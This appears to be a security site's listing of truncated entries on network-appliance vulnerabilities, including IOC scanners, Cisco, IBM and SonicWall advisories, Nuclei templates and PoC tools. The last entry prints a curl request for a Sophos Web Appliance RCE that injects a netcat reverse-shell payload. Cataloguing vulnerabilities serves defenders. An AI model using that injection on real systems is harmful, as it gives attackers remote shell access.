check-your-pulse

check-your-pulse Cet utilitaire peut aider à déterminer si des indicateurs de compromission IOCs existent dans les fichiers journaux d'un appareil Pulse Secure VPN pour CVE-2019-11510. La Cybersecurity and Infrastructure Security Agency CISA a observé de nombreuses organ isations compromises malg...

ioc-scanner-CVE-2019-19781

Analyseur d'indicateurs de compromission pour CVE-2019-19781 Ce dépôt contient un utilitaire pour détecter les compromissions des appliances Citrix ADC liées à CVE-2019-19781. L'utilitaire et ses ressources encodent des indicateurs de compromission collectés lors des enquêtes FireEye Mandiant. Po...

CVE-2025-40602

CVE-2025-40602 📌 Aperçu CVE-2025-40602 est une vulnérabilité d'élévation de privilèges locale affectant les appliances de la série SonicWall Secure Mobile Access SMA 1000. Le défaut réside dans la console de gestion des appliances AMC en raison de vérifications d'autorisation insuffisantes ,...

Quest KACE System Management Appliance 8.0.318 - Remote Code Execution

The '/common/downloadagentinstaller.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by anonymous users and can be abused to execute arbitrary commands on the system. id: CVE-2018-11138 info: name: Quest KACE System Management Appliance 8.0.318 - Remote Code Executi...

CVE-2021-44529

CVE-2021-44529 Page d'accueil du fournisseur : https://www.ivanti.com/ Lien du logiciel : https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 Version : CSA 4.6 4.5 - fin de vie août 2021 Exécutez root@kitploit: python3 exploit.py Exemple root@kitploit: python3 exploit....

CVE-2026-20350

A vulnerability in the web-based management interface of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to inject arbitrary operating system commands. This vulnerability is due to improper validation of user-supplied input to the web-based management interface...

CVE-2026-20329

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal securi...

CVE-2026-20333 Cisco Secure Adaptive Security Appliance Software, Secure Firewall Threat Defense Software and Secure Firewall Management Center Software Hardening Release - Incorrect Comparison Vulnerabilities

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal securi...

CVE-2026-20332

CVE-2026-20332 covers improper access control vulnerabilities (CWE-284) identified during an internal security review of Cisco Secure Adaptive Security Appliance (ASA) Software , Secure Firewall Threat Defense (FTD) Software , and Secure Firewall Management Center (FMC) Software . Cisco addressed...

EUVD-2026-81119

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal securi...

CVE-2026-20350 Cisco ThousandEyes Virtual Appliance Authenticated Web Interface Command Injection Vulnerability

A vulnerability in the web-based management interface of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to inject arbitrary operating system commands. This vulnerability is due to improper validation of user-supplied input to the web-based management interface...

CVE-2026-20350

CVE-2026-20350 affects the web-based management interface of Cisco ThousandEyes Virtual Appliance , where improper validation of user-supplied input allows an authenticated attacker with administrative credentials to inject arbitrary operating system commands by saving configuration details conta...

EUVD-2026-81117

A vulnerability in the web-based management interface of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to inject arbitrary operating system commands. This vulnerability is due to improper validation of user-supplied input to the web-based management interface...

Security Bulletin: IBM MQ Appliance is affected by a heap-based buffer overflow vulnerability (CVE-2026-10575)

Summary IBM MQ Appliance has addressed a heap-based buffer overflow vulnerability. Vulnerability Details CVEID:CVE-2026-10575 DESCRIPTION: IBM MQ could allow an authenticated attacker to cause a denial of service or potentially escalate privileges due to a heap buffer overflow when processing MQP...

CVE-2025-25706

CVE-2025-25706 Description de l'élément : root@kitploit: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Type de vulnérabilité :...

CVE-2024-24919-POC

CVE-2024-24919-POC En savoir plus - https://nvd.nist.gov/vuln/detail/CVE-2024-24919 La vulnérabilité permet à un attaquant distant non authentifié de lire le contenu d'un fichier arbitraire situé sur l'appliance concernée. Modèle Nuclei:...

CVE-2025-40602

CVE-2025-40602 CVE-2025-40602 est une vulnérabilité d'élévation de privilèges locaux dans la console de gestion des appliances AMC des appareils SonicWall Secure Mobile Access SMA série 1000. La vulnérabilité provient d'une autorisation insuffisante dans l'AMC, permettant à des attaquants distant...

Ivanti Cloud Services Appliance - Path Traversal

Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality. id: CVE-2024-8963 info: name: Ivanti Cloud Services Appliance - Path Traversal author: johnk3r severity: critical description: | Path Traversal in the Ivanti CSA befo...

CVE-2025-0282-Full-version

Storks : Outil d'exploitation de vulnérabilité d'exécution de code à distance Aperçu Storks est un outil Proof-of-Concept PoC basé sur Python conçu pour démontrer une vulnérabilité critique d'exécution de code à distance RCE, identifiée sous le nom CVE-2025-0282 , dans un équipement réseau...

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE в Sophos Web Appliance PoC root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip ...